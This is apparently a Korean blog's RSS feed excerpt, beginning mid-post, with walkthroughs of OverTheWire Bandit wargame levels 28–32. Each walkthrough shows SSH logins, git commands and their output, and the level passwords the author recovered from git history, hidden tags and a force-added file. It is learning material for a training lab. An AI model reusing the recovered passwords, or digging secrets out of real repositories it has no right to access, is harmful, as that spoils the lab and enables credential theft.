&lt;pre id=&quot;code_1747750023777&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh bandit31@bandit.labs.overthewire.org -p 2220&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. git push&lt;/h4&gt;
&lt;pre id=&quot;code_1747750272483&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# /tmp 아래 폴더를 만들고 git clone을 합니다.

cat README.md

# 응답
This time your task is to push a file to the remote repository.

Details:
    File name: key.txt
    Content: 'May I come in?'
    Branch: master
    
echo &quot;May I come in?&quot; &amp;gt; key.txt

ls -al

# 응답
total 20
drwxrwxr-x 3 bandit31 bandit31 4096 May 20 13:57 .
drwxrwxr-x 3 bandit31 bandit31 4096 May 20 13:57 ..
drwxrwxr-x 8 bandit31 bandit31 4096 May 20 13:57 .git
-rw-rw-r-- 1 bandit31 bandit31    6 May 20 13:57 .gitignore
-rw-rw-r-- 1 bandit31 bandit31  147 May 20 13:57 README.md

cat .gitignore

# 응답
*.txt

git branch
* master

git add -f key.txt

git commit -m &quot;key.txt&quot;

git push origin master

#응답
bandit31-git@localhost's password:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 321 bytes | 321.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost:2220/home/bandit31-git/repo
 ! [remote rejected] master -&amp;gt; master (pre-receive hook declined)
error: failed to push some refs to 'ssh://localhost:2220/home/bandit31-git/repo'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/Linux</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/271</guid>
      <comments>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-3132-%EB%8B%A8%EA%B3%84-git#entry271comment</comments>
      <pubDate>Tue, 20 May 2025 23:11:30 +0900</pubDate>
    </item>
    <item>
      <title>[Linux 공부] Bandit wargames 30~31 단계 git</title>
      <link>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-3031-%EB%8B%A8%EA%B3%84-git</link>
      <description>&lt;figure id=&quot;og_1747749029955&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OverTheWire: Level Goal&quot; data-og-description=&quot;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo via the port 2220. The password for the user bandit30-git is the s&quot; data-og-host=&quot;overthewire.org&quot; data-og-source-url=&quot;https://overthewire.org/wargames/bandit/bandit31.html&quot; data-og-url=&quot;https://overthewire.org/wargames/bandit/bandit31.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://overthewire.org/wargames/bandit/bandit31.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://overthewire.org/wargames/bandit/bandit31.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OverTheWire: Level Goal&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo via the port 2220. The password for the user bandit30-git is the s&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;overthewire.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;30 ~ 31 단계 문제는 참...오래 걸린 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹시 몰라 브랜치도 다 보고 혹시 숨겨있을까 .git 디렉토리도 다 확인했었습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. SSH 접속&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;30 ~ 31 단계 접속 비밀번호는 qp30ex3VLz5MDG1n91YowTv4Q8l7CDZL 입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1747749173290&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh bandit30@bandit.labs.overthewire.org -p 2220&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. git show-ref&lt;/h4&gt;
&lt;pre id=&quot;code_1747749351808&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 전 단계와 똑같이 파일을 만들고 git clone을 합니다.
# 해당 문제는 log에 별다른게 없습니다.
# 해당 문제는 branch -a로는 정답을 확인 할 수 없습니다.
# branch도 다 들어가서 확인 해봤지만 ... 없습니다.

git show-ref

# 응답
fb05775f973256dc6d8d5bb6a8e6b96b0d8795c8 refs/heads/master
fb05775f973256dc6d8d5bb6a8e6b96b0d8795c8 refs/remotes/origin/HEAD
fb05775f973256dc6d8d5bb6a8e6b96b0d8795c8 refs/remotes/origin/master
84368f3a7ee06ac993ed579e34b8bd144afad351 refs/tags/secret

git show 84368f3a7ee06ac993ed579e34b8bd144afad351

# 응답
fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/Linux</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/270</guid>
      <comments>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-3031-%EB%8B%A8%EA%B3%84-git#entry270comment</comments>
      <pubDate>Tue, 20 May 2025 22:56:00 +0900</pubDate>
    </item>
    <item>
      <title>[Linux 공부] Bandit wargames 29~30 단계 git</title>
      <link>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-2930-%EB%8B%A8%EA%B3%84</link>
      <description>&lt;figure id=&quot;og_1747735633057&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OverTheWire: Level Goal&quot; data-og-description=&quot;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo via the port 2220. The password for the user bandit29-git is the s&quot; data-og-host=&quot;overthewire.org&quot; data-og-source-url=&quot;https://overthewire.org/wargames/bandit/bandit30.html&quot; data-og-url=&quot;https://overthewire.org/wargames/bandit/bandit30.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://overthewire.org/wargames/bandit/bandit30.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://overthewire.org/wargames/bandit/bandit30.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OverTheWire: Level Goal&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo via the port 2220. The password for the user bandit29-git is the s&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;overthewire.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;29 ~ 30 단계 문제는 전 단계와 동일하게 git 명령어 문제입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. SSH 접속&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;29 ~ 30 단계 접속 비밀번호는&amp;nbsp;4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7 입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1747746676044&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh bandit29@bandit.labs.overthewire.org -p 2220&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. git log --all -p&lt;/h4&gt;
&lt;pre id=&quot;code_1747746895249&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mkdir /tmp/momo

cd /tmp/momo

git clone ssh://bandit29-git@localhost:2220/home/bandit29-git/repo
# 비밀번호 29단계 접속 비밀번호와 같습니다.

ls

# 응답
repo

cd repo

cat README.md

# 응답
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: &amp;lt;no passwords in production!&amp;gt;


git log -all -p

# 응답

commit 3b8b91fc3c48f1a19d05670fd45d3e3f2621fcfa (HEAD -&amp;gt; master, origin/master, origin/HEAD)
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:21 2025 +0000

    fix username

diff --git a/README.md b/README.md
index 2da2f39..1af21d3 100644
--- a/README.md
+++ b/README.md
@@ -3,6 +3,6 @@ Some notes for bandit30 of bandit.

 ## credentials

-- username: bandit29
+- username: bandit30
 - password: &amp;lt;no passwords in production!&amp;gt;


commit a97d0dbf8fd910ead6fcf648829ff55c1a629c8e (origin/dev)
Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:21 2025 +0000

    add data needed for development

diff --git a/README.md b/README.md
index 1af21d3..bc6ad3d 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.
 ## credentials

 - username: bandit30
-- password: &amp;lt;no passwords in production!&amp;gt;
+- password: qp30ex3VLz5MDG1n91YowTv4Q8l7CDZL


commit c2e20a2bcc4815a984fbef4c7a96ca6e4de35c48 (origin/sploits-dev)
Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:21 2025 +0000

    add some silly exploit, just for shit and giggles

diff --git a/exploits/horde5.md b/exploits/horde5.md
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/exploits/horde5.md
@@ -0,0 +1 @@
+

commit 8d2ffeb5e45f87d0abb028aa796e3ebb63c5579c
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:21 2025 +0000

    initial commit of README.md

diff --git a/README.md b/README.md
new file mode 100644
index 0000000..2da2f39
--- /dev/null
+++ b/README.md
@@ -0,0 +1,8 @@
+# Bandit Notes
+Some notes for bandit30 of bandit.
+
+## credentials
+
+- username: bandit29
+- password: &amp;lt;no passwords in production!&amp;gt;
+

commit 3910630172946c9ffb75842922e394b772c672bd
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:21 2025 +0000

    add gif2ascii

diff --git a/code/gif2ascii.py b/code/gif2ascii.py
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/code/gif2ascii.py
@@ -0,0 +1 @@
+&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/Linux</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/269</guid>
      <comments>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-2930-%EB%8B%A8%EA%B3%84#entry269comment</comments>
      <pubDate>Tue, 20 May 2025 22:15:09 +0900</pubDate>
    </item>
    <item>
      <title>[Linux 공부] Bandit wargames 28~29 단계 git log</title>
      <link>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-2829-%EB%8B%A8%EA%B3%84-git-log</link>
      <description>&lt;figure id=&quot;og_1747733414160&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OverTheWire: Level Goal&quot; data-og-description=&quot;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo via the port 2220. The password for the user bandit28-git is the s&quot; data-og-host=&quot;overthewire.org&quot; data-og-source-url=&quot;https://overthewire.org/wargames/bandit/bandit29.html&quot; data-og-url=&quot;https://overthewire.org/wargames/bandit/bandit29.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://overthewire.org/wargames/bandit/bandit29.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://overthewire.org/wargames/bandit/bandit29.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OverTheWire: Level Goal&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo via the port 2220. The password for the user bandit28-git is the s&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;overthewire.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 git 명령어 문제라고 봐도 무방합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. SSH 접속&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;28 ~ 29 단계 접속 비밀번호는 Yz9IpL0sBcCeuG7m9uQFt8ZNpS4HZRcN 입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1747735539725&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh bandit28@bandit.labs.overthewire.org -p 22220&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. git log&lt;/h4&gt;
&lt;pre id=&quot;code_1747735478660&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;mkdir /tmp/nono

cd /tmp/nono

# 포트 입력 한줄 알고 헤맸습니다..
git clone it clone ssh://bandit28-git@localhost:2220/home/bandit28-git/repo

cd repo

cat README.md

# 응답
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: xxxxxxxxxx

git log

# 응답
commit 674690a00a0056ab96048f7317b9ec20c057c06b (HEAD -&amp;gt; master, origin/master, origin/HEAD)
Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:19 2025 +0000

    fix info leak

commit fb0df1358b1ff146f581651a84bae622353a71c0
Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:19 2025 +0000

    add missing data

commit a5fdc97aae2c6f0e6c1e722877a100f24bcaaa46
Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;
Date:   Thu Apr 10 14:23:19 2025 +0000

    initial commit of README.md

git checkout fb0df1358b1ff146f581651a84bae622353a71c0

git branch

# 응답
* (HEAD detached at fb0df13)
  master
  
cat READDME.md

# 응답
# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29
- password: 4pT1t5DENaYuqnqvadYs1oE4QLCdjmJ7&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/Linux</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/268</guid>
      <comments>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-2829-%EB%8B%A8%EA%B3%84-git-log#entry268comment</comments>
      <pubDate>Tue, 20 May 2025 19:05:59 +0900</pubDate>
    </item>
  </channel>
</rss>